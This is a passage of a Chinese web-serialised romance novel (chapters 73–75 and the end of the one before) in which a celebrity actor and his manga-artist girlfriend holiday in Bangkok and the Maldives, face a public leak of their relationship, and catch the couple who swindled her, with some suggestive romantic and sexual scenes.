小龚就眼皮抽抽地用余光看见两个人在玩什么交换杯子游戏,怎么换来换去的,要接吻不能直接接吗?? 合雨悠住的酒店离她签售地点相对近,可曼谷交通繁忙,非常堵塞,于是她还在车上看今天拍的素材。 凌湛点评:“拍的不怎么样啊,我不会从这个角度拍你。” 他很了解合雨悠的长相,知道她在特定角度会更好看,尤其这么俯视的时候,她会抬起头来用大大的琥珀色眼睛把你望着,有时候带点清澈单纯的无语。 “你少点评别人的摄影技术,人家技术挺好的。”合雨悠翻阅素材,大部分还是给她的镜头,直到翻到凌湛入镜,“你站队伍后面都很显眼。” 凌湛看了一眼确实。 凌湛说:“不能怪我,我有那么高,你让我截肢吗。” 合雨悠看了他一眼,欲言又止。她想说凌湛就不该来的。 凌湛好像知道她要说什么:“想说什么,我不应该来?” 合雨悠低头。 凌湛:“你昨晚让我来的。” 合雨悠嘬吸管。 “吸管有什么好嘬的。”他说,“别嘬了你看我。” 合雨悠只好嘬吸管抬头,假睫毛是轻飘飘而根根分明的韩式,C翘的弧度扇动,像黑凤蝶一般扬起。 凌湛垂首,靠近:“你说你很想老公。” 合雨悠不太爱在电话里撒娇的,她谈恋爱是有点脸皮薄的,但会上头被诱哄着说出真心话。 她耳尖飞快一红,咬吸管,凌湛黑眸定定的,手指搭在她腿上捏她手指,眼眸垂下再撩起,落到她脸上,低低地说:“我也想我们悠悠,万一肚子疼没有暖手宝怎么办。” 合雨悠语气上油盐不进:“我会在711买暖贴的……” 其实心跳已经乱作一团了。 凌湛呵呵一声,攥着她手,冰杯放旁边,还捏她脸:“谁说的想我,骗我的,骗我的。” 合雨悠抓住他手腕:“凌湛不要闹。你这两天没有工作了吗?” “暂时没有。”凌湛靠在座椅上,始终摸着她手没放开过,懒洋洋的声音说,“想谈恋爱啊。” 小龚努力把自己的存在感降到最低,心里卧槽卧槽,男神谈恋爱起来是这样的吗,哄女朋友一套一套的,他们的相处方式完全颠覆他最开始的认知。因为合雨悠性格超软,看起来能被任何人欺负还不吭声,而凌湛那个人虽然在公司里也很脾气随和,不耍大牌,出席活动也爱笑,唯一骂人的情况是针对狗仔,但他身上生人勿进的气场还是非常浓郁,导致几乎没人敢近距离接触。 他敢说凌湛百分百性格没有那么好。 说不定盒子姐得舔着男朋友。 结果居然是反过来的!! 到酒店,上楼,助理隐身了。 合雨悠要开电脑把刚刚拍到凌湛的部分单独导出来,不可能让它留在摄影师的存储卡里,也不想删掉。 凌湛百无聊赖地等他的行李,发现合雨悠住的居然是双床套房,他问她为什么,她说:“一张床我放东西的,你要睡的话帮我把我床上的东西捡开。” “我为什么要睡你另一张床?”但凌湛还是弯腰给她收拾了起来,小女生房间怎么这么乱的,床上还有内衣和一次性内裤和自带的吹风机。他慢慢给她折好,也不知道放哪,隐约嗅到衣服上传来的奶香气,很微妙的奶味,是那种温暖皮肤的气息,证明是合雨悠穿过的。他长腿伸展坐在床尾,躁动而更无聊地看了眼手机:“宝贝,你不换衣服吗?” “换的,马上,我导出视频。”她头也不抬。 “衣服很难脱吗,我给你脱?” 合雨悠还是没抬头,说:“我有几颗扣子我自己解不了。在我脖子后面的珍珠。” 凌湛走过来弯腰帮她解开,顺便看了眼她在拷贝的视频,两人有同框的,但没有露脸的。凌湛说:“这样都要单独删掉?你不能放一帧在你的Vlog里吗?” 合雨悠叹口气:“你当心今天有人拍你。” 凌湛:“我知道。” 是有人拍的,凌湛第一时间就发觉了,但没怎么躲,偏过头看书而已。 如果他助理在的话,会第一时间上去沟通删掉或者不要发社交媒体,这是私人行程。 但他的俩助理现在还在汗流浃背堵车中…… 叶铭刚刚已经骂他了,最后说了句:“老子不管了,你想干嘛干嘛反正你有钱。” 他把合雨悠的上衣完全解开了,里面是肤色的乳贴,晶莹剔透的,带着汗珠一拨就下来。 合雨悠感觉从身后上来被他揉和挑弄,她一瞬间感觉大姨妈要来了……其实经期前后女生的感知都格外明显,所以昨晚上视频里她也有那么点冲动被诱惑说了很多撒娇的话。 凌湛还是那么居高临下弯腰站着:“嗯?你不拷你视频了?怎么不动了?” 合雨悠红着脸仰头,凌湛手掌托着她仰着的细瘦的天鹅颈,垂首时吻落在她额头发间,说:“有发胶味道。” 合雨悠:“我会洗头的!!”她穿着酒店薄薄的拖鞋,眼下只能在拖鞋里蜷着脚趾忍耐那种感觉。 “等下吧,我等行李等的好无聊。套在行李箱里。”凌湛继续控制她,语气也散漫,“我带了很多,打算和你找地方玩几天的,去马尔代夫吗,我找了家没有中国人的。我们去喂鳐鱼和海豚。” 合雨悠大概是有点被玩上头了眼神透着迷蒙和水光,不假思索就同意了,说好啊……凌湛把她抱腿上换姿势搂腰亲吻的时候,合雨悠才有点感觉热流,呜呜地说了句:“哥哥我好像来姨妈了。” 凌湛大掌搂着她腰,嘴唇分开很近距离地看着她,睫毛垂着,鼻尖高挺可以蹭在她脸颊:“亲会儿没关系吧?” “有关系的……我太想要了……我们分床睡。”合雨悠感觉自己和那些男生一模一样,“精虫上脑”什么事都能干,摇尾乞怜也愿意,落地窗按着也愿意,跪着也愿意,没有理智的。 凌湛就体贴地没亲了,抱着女朋友说:“不分床吧,我又不是没定力,就这样。” 合雨悠想说她没有啊!! 她推了推凌湛:“你行李箱还有多久?” 凌湛:“不是?” 凌湛眉一挑:“来月经了你还要?” 合雨悠双手搭在他肩膀上,羞愧又无辜:“我没问那个啊啊!!我就问你行李而已。” “哦。”凌湛抓过手机看一眼,“他俩下来坐BTS了。” 太堵了。 凌湛手掌捋了下刚刚出汗的黑发,他头发刚剪,很短有点刺手,胳膊伸展:“我去洗个澡。”这么坐他身上抱着也不是个事,他反应很大的。 合雨悠抱着没撒手,轻轻扭:“不嘛。” 凌湛喉结动了两下,垂眸:“不什么,要舌吻?” 她点点头,眼睛里有水也亮着光:“再亲亲我……” 她最近很少见到凌湛。 她抱凌湛,对方结实而宽阔的后背和胸膛,都给她极大的安全感。 合雨悠声音很软地说:“我好想你的。” 凌湛一只手摸她脸颊,嗓音低哑:“现在肯说真心话了?”—— 作者有话说:[三花猫头]谢谢追文,都发红包嗷[让我康康] 第73章 没多久,凌湛的工作人员把他行李送过来了,并苦口婆心对他说:“太堵了,哥,我们以后把泰国行程都推了吧,没事就别来了。” “还有我们上楼发现很多中国人住在这家酒店,你们别出门了,合小姐可以出。” 凌湛把工作人员打发走了,他给人定的别的酒店。 他打开行李箱,合雨悠眼尖地瞥见一盒、两盒……五盒套。 然后是凌湛的衣服,都是些上大学的男生不懂穿搭的才会穿的什么T恤,白色黑色,和各种沙滩裤。 她觉得凌湛应该不怎么在意穿搭的问题。 他穿什么都好看,也就随便穿了。 “找到了。”凌湛把暖手宝拿出来,充上电。 合雨悠愣一下:“你千里迢迢带了这个?” 凌湛又扒拉箱子说:“还有红糖姜茶。”之前他让助理买了全网的红糖姜茶,买回来给他冲泡,他挨个看了成分还试了下,找到可能是入口最好的那款给合雨悠。 合雨悠当下腹下轻微热流和抽搐,心里也伴随一股热流涌上来。她就是传说中的对男生的小付出会非常感动的那种人…… 然而合雨悠因为不听话喝了冰泰奶,当晚就开始剧痛,她从小到大都抱着侥幸心对此不听话,也就每个月吃一次苦头,咬要嚼碎了吞感受它的苦。 水暖宝贴在肚子上后,晚上凌湛是抱着女孩子入睡的,她非常可怜巴巴地蹙着眉心,脸色苍白无血色,在他宽大的怀抱里侧躺着,会因为手脚冰冷而忽然战栗一下,尽管凌湛已经非常用力地试图温暖她了。 最后凌湛爬起来找袜子:“你袜子呢,算了你穿我的……” 合雨悠动不了,凌湛撩起被子一角,半跪着弯腰给她穿袜子,她的脚窝在火热手心里是冰冷的,圆润雪白的脚趾微微蜷缩在一起,喊她她也不吱声。 但等穿好,他又侧躺回来,合雨悠二话不说又缠上来了,委屈地说:“要抱,疼。” 凌湛心疼起来,不断揉搓她的后背:“我们妹妹最勇敢了是不是。” “老公。”合雨悠疼得有点神志不清了,鼻音浓重,“我想去把子宫切了。” 凌湛顿了一下,说:“手术大吗,有后遗症吗,切了是不是就不会疼了?”因为他确实无法感同身受地知道合雨悠现在的痛苦,可是每次合雨悠都很难受他是看在眼里的。 合雨悠闷闷地点头,说有:“切了就不能给你生了。” “就这个?那你切吧,要开腹吗?”他并不是很在意生不生这种问题。 合雨悠默默抬了下眼睫毛,眼里含着一点平时没有的脆弱:“想给你生。可是很疼,又不想了……” 那得多爱啊才能生…… “别生宝宝了,手术不大就去做,生不了你就当是我的问题,我做结扎,”他不知道在想什么一秒起立,“做结扎完了可以无套?” 合雨悠:“啊?” 合雨悠能感觉到一点……因为他真的抱很紧,双床房的单人床也很窄小。 这样没问题吗? 合雨悠想说要不然帮帮他……手或者嘴…… “没什么,睡你的。”他一只手又按着合雨悠的后脑勺,声音很低很低地在她耳畔哄着,“睡吧悠悠,我在。” 合雨悠是身上发着冷汗,但爱意和热流灌注心脏的时候睡着的。如果她真的是单独和工作人员来泰国,约好了行程过后要去海边拍照做Vlog,她自己疼成现在这样肯定很无助,但不是忍不过去。过去几年都是如此过的,又有什么忍不过的呢?疼晕了睡醒就会好很多。 可是凌湛哄她的时候,她就瞬间感觉自己是天底下最委屈的人,好像一点苦都不能吃也不想吃了。 床太小了,又要兼顾合雨悠,对凌湛有点折磨,因为他只能选择侧睡,而合雨悠因为不知道这件事,很努力地依偎着她男人。半夜凌湛想把另外半边床推过来组成一个,又怕吵醒她了,最后没有,忍过去了。 凌湛没有睡很久就醒了,手机在旁边震,他伸手抓起来,是经纪人。 他看了合雨悠一眼,挂了电话。 “你发短信,别打电话。” 叶铭:“你被拍了。” 凌湛:“我知道啊。” 叶铭给他截图。 凌湛昨天独自出现在曼谷,从下机场开始就被人认出,尽管已经穿成那样了。 后面在书店和咖啡厅又被人拍了第二次第三次。 凌湛刷了下评论区。 半晌,他头顶冒出问号。 怎么没有一个人发现他的行程和漫画家西流是重合的?? 没有一个人看见他喝咖啡的时候“小河向西流”在楼下穿着仙女裙开签售吗?! 那么多人排队!! 这些网友怎么不灵了。 一定是他做的还不够明显。 叶铭的新消息:“这就是你想要的吗?等公开的时候暗搓搓让人回头找证据?被对家黑?” 凌湛又瞥一眼合雨悠,因为她动了,他就伸了下胳膊给她盖被子,单手打字:“你把消息卖对家吧,反正也要公开。” 他都不知道自己对家是谁,老听身边人打哑谜似的说对家对家的…… 他没什么感触也是因为没怎么被黑。 一个演员最大的黑点是作品差演技烂。 但凌湛这点没得黑。 吃颜值红利的男明星最大的黑点就是长丑了浮肿了和表情管理。 凌湛也没得黑。 对家只能扒他私生活和私下人品以及陈年往事。 最后扒半天只能发现他常年考第一高考720,全球TOP20任选,最后读的南加大。 私生活里只有在车上一脸淡漠抽烟被拍到过。 最后被粉丝奉为神图。 叶铭想说就这种体质,正主亲自送瓜,还没人发现,他也是第一次见…… 但很快他就知道了,不是没人发现,是因为还不够明显。 这俩人去坐船看皇宫了,去朱拉隆功大学旁边吃榴莲了,最后路过四面佛驻足了一会儿又被人拍了。 路人的镜头下,凌湛还是戴着棒球帽但没戴口罩。 合雨悠正一脸惊慌地仰头伸手给他戴上。 他表情正在笑,抓着她手腕,好像在说:好了我知道戴。怎么这么矮还要踮脚,那我弯下腰吧。 叶铭因为比较疼合雨悠,单看照片觉得这俩人是挺甜的…… 但处于风暴中心又气不打一处来。 由于事先有准备,不至于猝不及防来不及应对,反而有条不紊,所有关于女方的信息,就没有一条是黑她的。而且很多隐私内容也花钱公关掉了,真名用“小河向西流”的笔名代替,每个营销号的说法不同,但都是正向的积极的。 【凌湛恋情被爆!绯闻女友西流是顶流漫画家,谁懂啊看见是她的那一刻我整个人都惊呆了,这本漫画我上学的时候竟然看过!!当时特别喜欢!!粉丝爆料说西流本人大美女,签售会认真营业对粉丝超好超可爱,一百块的漫展门票,送我五百多的礼物,送读者的书签是999足金打造,竟然还有亲手制作的黏土手工!!而且是、每个人都有!!被人质疑学历时,清华官方出来放了一段招生视频,你们看眼不眼熟,就是这个西流,太权威了!!凌湛,你这个挑女朋友的眼光,我认了。】 营销号的口吻一致且洗脑。水军也是花了很多钱的。 叶铭是见不到合雨悠被骂一点,怕她太伤心了。 至于对凌湛的公关方案,也不难。 反正人活着都要谈恋爱,和初恋谈,这说明他专一深情人品绝佳。 照片发出来那天,合雨悠和凌湛飞马尔代夫了。合雨悠手机消息下飞机后狂震,正要看的时候,被凌湛拿走了,淡定地说:“不用看了,我们在曼谷被拍到了,花钱没公关下来。” 合雨悠都不知道这是有预谋的。 她看凌湛的反应不大,感觉事情不大,可是为什么那么多消息…… 合雨悠有点慌,站在狭小的马累机场手脚又冷了:“那我们还旅游吗,是不是要回去。” “回去干什么,来都来了,你不摸海豚了?”凌湛单手拖着行李,另一只胳膊牵她,很快在人潮里找到了他们酒店的柜台和员工。 他也不想被人关注到和女朋友在哪个岛玩,因此打扮依旧是衬衫花裤太阳镜和沙滩帽外加人字拖。 合雨悠眼巴巴:“能不能把手机给我?我得看看。” “现在没信号。”凌湛把手机丢兜里了,“等会儿吧。” 合雨悠:“我想看……” “没信号。”凌湛把合雨悠拉着,跟着工作人员上水上飞机,合雨悠继续扒拉他裤子,凌湛给她看:“是不是没信号?” 合雨悠抬头:“你是不是把我漫游关了?” ……还挺聪明。 凌湛说:“我也没信号。” 他也关了。 虽然关了,但合雨悠还是能看见之前的消息,她的社媒前几天就被接管了,她也登录不了,如今能看的只有微信,消息确实很多…… 她因为要频繁参加活动,有两个账号。 私人账号里,老同学和朋友,稍微熟悉一点的都来问她了…… “姐妹!!!!!这是不是你啊?” “小盒子我的妈呀闷不吭声干大事啊你才是我们女人的骄傲!!!” ……骄傲谈不上。 “做女人就该做像你这样雄鹰般的女神!” “等等,你和阿胶哥复合了?” “宝宝,和凌湛谈恋爱什么感觉啊,我看人说你俩是高中时代的初恋?” “还在泰国吗?” 她基友姜小敏发完一顿大震惊之后,问她:“怎么瞒着我这么久。” “好啊老早就感觉不对了,去年年初看电影就感觉不对劲了……” “不是,他活怎么样啊?” “我看视频中医说他嘎嘎猛真的假的。” “你好幸福,凌湛近距离是不是像个精致手办一样?” 合雨悠缓缓放下心来。 至少身边熟人,没有一个是苛责的、有恶意的。 或许不是没有,只是没有对她表露。 旁边的凌湛一直在飞机上看她的表情,然后瞥她手机屏幕消息。 “我没骗你吧,不会有事的,我们恋爱不是什么万劫不复的事。”他再次伸手,“手机交给我,你看下面。” 凌湛指:“像蓝宝石。” 合雨悠被转移注意力,被海面上一座座蓝宝石一样的小岛和泄湖所吸引:“哇。” 凌湛搂过去,和她一起看,顺便把管家刚给的冷饮和水果串喂给她吃:“这几天我限制你玩手机时间可不可以?” 合雨悠被喂了西瓜:“……那我干什么呢,我没带黏土。”她也觉得这种时候可能断网比较好。 诚然身边人都是好的,但网络上妖魔鬼怪有多少她是不知道的。 凌湛:“我也不戴套。” 合雨悠:“没带吗?那么多被你丢了?”她前几天都是姨妈期,所以在酒店和凌湛盖着棉被纯聊天以及看电影,接吻都不敢多几下。 “带了,”他鼻尖抵着合雨悠的侧脸,压低声,“但是,我、不、想、戴。” 合雨悠反应了一下才知道他什么意思。脸蹭地一红。 怀了就怀了好像也没什么……但是没结婚呢。 凌湛歪头:“我说说而已,戴的。” 合雨悠小声道:“不戴也可以的我没事,就是……”她低头。 凌湛:“婚前不行对吧。” 合雨悠没接话,她理念里是这样,大着肚子匆促办婚礼的案例她身边就有,让人议论纷纷的。 凌湛说:“回去我们登记行吗,婚礼我家老爷子得看日子,你见过我外婆的,他们都很喜欢你,你父母应该也喜欢我吧?我十年前给你爸提了一箱酒呢,我跟你爸说是提亲的。” 合雨悠:“啊?” 凌湛:“啊什么。” 合雨悠很震惊:“你跟他说是提亲?” 凌湛:“说了啊,他喝大了没放在心上吧。我就当他默认了。”可能是无心的,老丈人喝着酒说:这酒好啊,你客气撒子哦,你等到,我给你拿点好吃的果果。而凌湛说:果果就免了,悠悠给我吧。 老丈人回过头:“果果给你!” 凌湛不爱吃就没要。 那总得把悠悠给他吧。 那酒是家里拿出来的,凌飞买的,小酒庄的,估计得十来万。 合雨悠表情更错愕,一时不知道他是不是开玩笑。 她顿了片刻才说:“你为什么十年前跟他说这个……” 凌湛想了下,睫毛垂下来注视她,说:“合雨悠,我十年前某一天就想过如果你嫁给我穿婚纱的样子。” 合雨悠怔愣,睫毛慢慢眨了下。 凌湛:“穿给我看吧?”—— 作者有话说:[让我康康]谢谢追文!!发点儿红包 第74章 坐在水上飞机上俯瞰时,合雨悠感觉倘若自己只要伸出手,大西洋上的蓝宝石就会像戒指一样戴在她的指间。 凌湛倒不是求婚,想到什么说什么而已,他看见合雨悠合情合理地愣了片刻,呆呆地说:“今年吗,这么快……” “今年只剩几天了。你想要今年?”凌湛主要是来给合雨悠过个生日的。她生日在圣诞节的后一天,有很多年没在一起过了,“最后一天飞回去说不定还能赶上登记。” 她摇摇头,目不转睛地望着凌湛的脸:“我就是觉得不太真实。” 她昨天在百乐宫看见他的大屏广告,无数人驻足拍照,形容起来时说是像天神一样不可冒犯。但这个人实际上喝到不好喝的饮料会骂什么狗屎,打游戏上头起来没素质要骂人和抽烟,不爱洗袜子所以一年会买365双崭新的,但吃饭会点她喜欢的,因为记得住合雨悠喜欢的所有东西,每天晚上都在她旁边长手长脚底和她挤着睡觉,早上有起床气但被她弄醒也不会很凶,会惩罚性地不发一言弄开她的睡衣领口在柔软的皮肤上给她啃草莓……合雨悠做春——梦都不带这么做的。 然后他说他想和她结婚了。 加上所处之地,这事儿多少浪漫得不真实了。 合雨悠把头别过去,额头靠着窗户,没让他看见自己在哭。 凌湛还是发现了,拿了张湿巾:“头转过来。” “我不。”女人在姨妈期刚结束的时候也会多愁善感。 凌湛强行伸手过去给她擦脸,不知道是擦脸还是擦窗户,她的脸和窗距离很近,把合雨悠弄得没办法,红着眼眶扭过去,最后被他一只手固定下巴,慢慢地给她擦脸颊,眼泪不多,一下就擦干净了,但眼圈还是泛红得可怜。 “我没想让你哭的。”凌湛慢条斯理地注视她,说,“你这么爱哭,结婚的时候不是要发大水。会有很多人看着的。” “没有特别爱哭吧。你别吓唬我。”合雨悠吸鼻子,“姨妈期都这样。” 凌湛:“还没结束?” 合雨悠:“……结束了。昨晚就没有血块了。” 凌湛:“哦,好。” 落地后,两人在海滨住了几晚,合雨悠碰手机的时间不多,断断续续还有人给她发消息,说:“不是吧盒子,背着我们吃这么好??” 她是吃很好但她回不了消息。 因为凌湛伸手抽走了。 “是我太久没给你导致你开始玩手机了?不许玩了。”凌湛一边投入一边说她,合雨悠是觉得有点久……因为凌湛对她还是太温柔了,她又不愿意直接说要粗暴点的,觉得得做点什么惹他生气才行,于是说:“我手机一直在震,我忽视不了。” 凌湛眉眼下凝着几颗汗珠,落在她脸颊,不无荒唐地捏她皮肤上完好的嫩孔说:“我也在震?你忽视我?” 合雨悠小声说:“你没我手机振动快……” 惹他生气的后果非常显著,狂风骤雨一样降临下来了,天旋地转的,合雨悠略施小计就得到了她想要的,但有点承受不住,导致晚上吃了一大堆自助餐。 后两天他们换到了水上的房间,坐在浴缸里扭头就能看见玻璃底下有鳐鱼甩着长尾巴游弋过去,合雨悠每天的日常就是看看鱼上上床,玩手机次数被高中还少。 除了家人的电话其他的一概不接。 其实凌湛遭受的舆论反应比她要大得多很多,他也不怎么理会,说实话也不在乎的,人活着能做好自己就不错了,何必在意别人,合雨悠生日那天日落,凌湛稍微用心地策划了一下,下午乘坐只有他们两人的日落巡航船去追海豚,在船上预备了烛光晚餐和淀粉肠。然后他给穿泳衣也很漂亮的合雨悠拍照。 他们在海上追逐那两道跃出水面的弧线,白浪被船头劈开,风声裹着咸湿的海味迎面扑来。远处忽然又窜起一道深色的背影,紧接着是尾鳍拍水的声响。 孤寂的海面上,另一艘巡航船从侧前方掠过,体量和他们相近,却明显热闹得多,甲板上密密麻麻站着人,粗略一看至少三四十个。 两艘船几乎同时减速又同时加速,船长兴奋得声音都拔高了:“两点钟方向!是座头鲸——一大一小……不对,三只!妈妈带着宝宝!” 凌湛追过鲸,对此没那么热衷,但合雨悠不一样,她戴着牢固的遮阳帽趴在加速的船头,整个人趴在加速的船头,风把裙摆掀起,她索性摘下碍事的墨镜,单手抓着护栏稳住自己,凌湛无法,也只能站旁边一手捞着她。 就在两船逐渐并行的瞬间,她侧目看了一眼对方甲板,脸色微微一变,立刻低声提醒:“你别出来,先进船舱,那边很多中国人。” 凌湛看过去一眼,确实是很多中国人。 距离近到能看清楚人脸。 “那你也进来。”他拉合雨悠的手腕。 合雨悠应了一声。 就在这时,她偏头注意到隔壁船只的船头,坐着一个女人。 玫红色的比基尼在阳光下刺眼,她刻意伸长腿,朝着镜头摆姿势,声音又甜又嗲:“老公老公!有海豚诶!快帮我拍,录下来了吗?” 那声音一入耳就让人不太舒服。 合雨悠猛地扭头。 凌湛察觉到手下的力道忽然变得极重,拉不动她了。他低头看她一眼,语气反而缓下来:“还要看?那就看吧,船头有点太晃了,你得抱紧我。” 合雨悠几乎是下意识往前迈了一步,又硬生生刹住。两艘船在海面上不可能靠得太近,她再往前只会直接掉进海里。 她深吸一口气,扬声喊:“船长!” 船长从驾驶舱探出头:“怎么了?” 合雨悠连尾音都在抖:“那艘船是哪个酒店的?” “康莱德的,”船长看了一眼,“船没我们的大。” “能不能跟着他们回去?”她几乎是抢着说,“或者我们先去康莱德。我们不玩了,不追海豚了。” 船长愣了一下,很快点头:“我打个电话,没问题,很近的。” 船长一边应声,一边调转方向,海浪被船头劈开,白色浪花卷着阳光。 凌湛蹙眉:“怎么回事?你看见谁了?” 合雨悠已经顾不上海里的小动物,她把帽檐压低,几乎是情绪激动地解释:“姚昕和田辉。” “谁?” “姚昕是我以前的编辑,她和她老公开了个动画工作室,我非常信任她所以把动画开发版权一分钱没要拿下来给她,”合雨悠前期购买自己的版权就通过中介花了好几百万,然后又花了三百万交给姚昕,他们承诺会认真帮她做好,她语气越来越激动,“去年年中的时候,这对夫妻卷走我的三百万跑路了……律师都找不到,一直说人在国外,很难追踪。我没有认错,就是他们!!” 她眼睛都在放光,几乎喜极而泣。 找了这么久,这两个诈骗犯居然在这里度假!! 凌湛只用了半秒就明白过来,说:“你别冲动。我先报警和联系使馆,这边警方不会管跨国经济犯罪的,我们需要将他们困在岛上,直到律师出面。” 合雨悠说:“等等,联系使馆……那岛上那么多人,你被拍了怎么办?要不……” “我这几天被拍的还少了?”凌湛打断她的话,先打电话找了当地警方,然后咨询自己的律师应该怎么处理。 船靠岸,康莱德询问他们是否要入住和换岛,凌湛说了是,如果他们不是客人恐怕很难要求酒店羁留其他住客,他刷卡定了一晚上,还在办理入住,随后就看见日落船返航了,船还没完全停稳,康莱德的小码头已经近在眼前。 那艘巡航船靠岸,玫红色比基尼的女人站起来,刚开始没看见合雨悠,因为她戴很大的草帽和墨镜,泳衣外披着防晒长衫,哪怕和合雨悠对上了视线,她也没反应过来是谁。 直到姚昕快走到酒店餐厅和她面对面了,一阵风来,吹起合雨悠的帽子,她伸手去按,墨镜也掉地上。 姚昕脸色瞬间变白。 她几乎是本能地转身,拉着她老公就跑,人字拖都没穿稳。 合雨悠脑子“嗡”地一声,什么理智全断了,将帽子往旁边小黑怀里一塞,人已经冲出栈桥,朝那俩人扑了上去:“别跑!!!” 下一秒就是落水声。 “操!”刚办完入住的凌湛骂了一句,连外套都没脱,直接跳了下去。 栈桥边一下子乱了。 中国游客尖叫、后退,有人下意识举起手机。 水里,合雨悠已经抓住人了。 她直接把姚昕按进水里,浪花溅得老高。姚昕尖叫着呛水,田辉想拉,被合雨悠一脚踹开,自己也翻进海里呛水。 凌湛游过来的时候,只看见合雨悠湿漉漉地冒出头,头发贴在脸上,眼睛亮着。 她抹了把水,说:“我没事!” 凌湛伸手抓着那个诈骗男,合雨悠抓着诈骗女,两人双双抬头,合雨悠注意到有人一脸惊讶地在拍照和录像。 她愣了下,反应过来,连忙摆手:“别拍了!!这俩人是诈骗犯,在国内诈骗了我三百万跑路了,警方都立案了,这是我们私事,请不要拍了!” 凌湛也一脸没办法,寒着脸说:“你是狗啊合雨悠,看着食物就扑上去了?”他怕她落下去,另一只手来抓她,捞着她胳膊。 酒店来了几个人下来救他们。 栈桥上路人恍然大悟:“原来是诈骗犯,我说他们看着那暴发户德行。” “哎那个男的好帅,像那个……” 田辉在水里像干虾似的蹬了下腿:“你胡说八道!合小姐,说话要讲证据,满嘴喷粪污蔑人——” 凌湛一巴掌扇过去把他按水里:“傻逼骂谁呢?” “哦哦哦我知道了!!”岸上小姐姐认出来了,“像凌湛!!” “好像啊我的妈呀。好帅。” 凌湛抱着合雨悠上岸了。 还好他和合雨悠的护照刚刚留在前台了,不然这下泡汤了。 合雨悠揪着瑟瑟发抖的姚昕不放,浑身都是水,姚昕泫然若泣:“盒子我得解释下……” 合雨悠:“你闭嘴。” 合雨悠非常严厉:“我们已经通知了使馆,律师马上飞过来了!!你解释什么都没有用,我不会原谅你的!!!” 凌湛把船上拿下来的外套披在她身上,终于有人反应过来了,对照着手机上最近的恋情瓜主:“你是西流?!” “老公,这是凌湛啊!!真的是!!”那女生激动的脸都红了,“我靠,他们从曼谷来麻袋了吗?!” 凌湛很无奈。 他戴着墨镜,偏头对认出他的游客说:“你好,刚刚视频能不能删一下?” 他不想让人把他老婆像小狗一样扑人的视频上传到网上了—— 作者有话说:[三花猫头]感谢追文~发点红包[让我康康] 第75章 凌湛把合雨悠送到室内,让她休息,她不,像个资深老警一样拷着诈骗夫妻,还搜他们身上的护照。就怕他俩跑了。 田辉气急败坏:“犯法的!!你这样犯法的!!” 凌湛:“你闭嘴。” 田辉:“你不怕我曝光你?我知道你是明星!” 凌湛把他护照揣兜里:“你曝你的,傻叉。” 合雨悠瞅着田辉:“我以前怎么没有看出来你是这种人?” 老田喜欢画大饼,和她聊天总把未来吹嘘的天花乱坠,说VR技术成熟,他第一批做她的动画,他已经投资了美国的VR公司云云…… 姚昕倒表现得有点耻辱心,一直跟合雨悠说:“我们也是走投无路了……” “走投无路骗了大家上千万?”合雨悠后换的律师,也就是她未来嫂子帮她搞清楚了,夫妻二人卷款跑路约合1200多万,包含她的三百万。 姚昕一慌,说:“我们先还你两百五十万,别抓我们回国了,回国就真的完了,盒子,你以前刚开始画漫画的时候无人问津,是我,我是你的伯乐……” 还PUA上了。 合雨悠:“你看我像个二百五吗?” 她不是不念旧情,有什么难处说出来就行,卷走她玩命赚的钱。她总感觉是那几年没日没夜工作,把灵气和青春都耗干净了,在远辰上班当美工的时候尤为感受深刻。和凌湛复合后,青春倒是回来了,灵气没有。 凌湛花钱请了岛上员工帮合雨悠,他则挨个和掏手机的人沟通。一船三十多个人,一开始只是下船的中国人在看:“卧槽打架了,那个女的被打了。” 满脸惊喜:“哈哈哈她在船上吵死了我刚刚就想打了。英雄啊!” “打得好精彩!” “这男的也太帅了吧,这有点像凌湛……不是,好像就是他啊?” “发生了什么?!OMG。”随即洋人也拿出手机。 洋人说删就删了。 中国人也删了,因为他态度很好很礼貌。 但还是有小姐姐激动地问:“那你老婆的不让发,你的能发吗?” “可以。等我们离开的时候发吧。”凌湛回答。 “凌湛凌湛!我家的可以帮你们,你们需要帮助吗,他是国际刑警!” “能合影吗?” …… 国际刑警实际上也帮不上忙,他们没有海外逮捕权,但可以起到某种威慑作用,直到凌湛喊的外援抵达。 当晚合雨悠都没睡觉,死死盯着她的三百万,凌湛就坐她旁边,看她熬鹰似的喝黑咖啡。 凌湛:“你睡会儿。” “我不。” 凌湛:“再不睡我生气了。” “我挺喜欢你生气的。”她神志不清地说,揉眼睛,盯着诈骗犯。 凌湛:“?” 凌湛:“我生气对你有什么好处吗?” 合雨悠想了想。 凌湛生气的反应,不是什么冷热暴力和她大吵大闹,而是直接把她丢上床采用一些平常不用的姿势和态度。合雨悠眼珠子动了一下,瞥向他。 凌湛食指轻轻弹她额头:“想什么呢眼睛这么转。” 合雨悠摸额头:“这样,那我们轮流守!你守下半夜,我守上半夜,我喝这么多咖啡刚好睡不着呢。你先睡。” 凌湛懒洋洋地靠在沙发上:“就这样吧,我不睡了,等明早大使馆和我律师到了就好了。” 合雨悠说看着他,轻轻地说“好”。 如果没有凌湛她可能看见这两个人也不知道怎么办。打人犯法她知道,况且她一个人又打不过别人。 因为不睡觉了,凌湛把他的情侣飞行棋拿了出来。 合雨悠看了一眼大惊失色,飞快抬眼:“凌湛,我认为现在玩这个不合适……” 凌湛更烦:“老子憋到你生日这晚才拿出来打算在船上和你玩的。” 结果被两个欠钱不还的老赖打碎了。 现在确实不能玩。 凌湛收起来。 说:“为什么我从来不知道你被人欠了这么多钱,你缺钱也是真的?” “真的啊……但也能生活,现在不怎么缺了。”合雨悠说。 凌湛盯着她道:“所以你来剧组打工,就是因为要赚钱,不是因为想我?” “是……要赚钱,听说电影美术组五万块一张海报呢,”她就动心了,“可是有那么多剧组,我为什么联系你,不联系其他组?这说明我肯定是想你的。” “不要用推理公式。”凌湛捏住她脸,个子高所以坐着也要弓着腰和她齐平,对视,“说清楚,想没想,是怎么想的?” “想……想的。”忙起来的时候不怎么想,但总有忙完的时候,尤其晚上,格外地想,就会打开手机看向悦主持的节目,心想她要是死了就好了。 晚上想吧,小玩具治治就好了,治完又是一阵漫长空虚,好像心脏缺了个大洞似的,经常回忆起和他在一起很被爱和宠溺的感受,拥抱时怀抱宽阔得可以完全搂着她,也非常的温暖,她在他胸膛上埋着头呼吸,凌湛身上连汗都是荷尔蒙的味道,从来不会让她觉得不好闻,她还会搜很多年前在凌湛家里看见他用过的剃须泡沫和沐浴产品,买回来放在自己浴室,就跟精神有问题了一样,她想她得恋爱了,这世界上都是普通人,那种经历她再也不会有了。经由朋友介绍,认识了她在上海老房的邻居,是个海归,合雨悠搜了一下,对方的学校和凌湛隔着一个州。 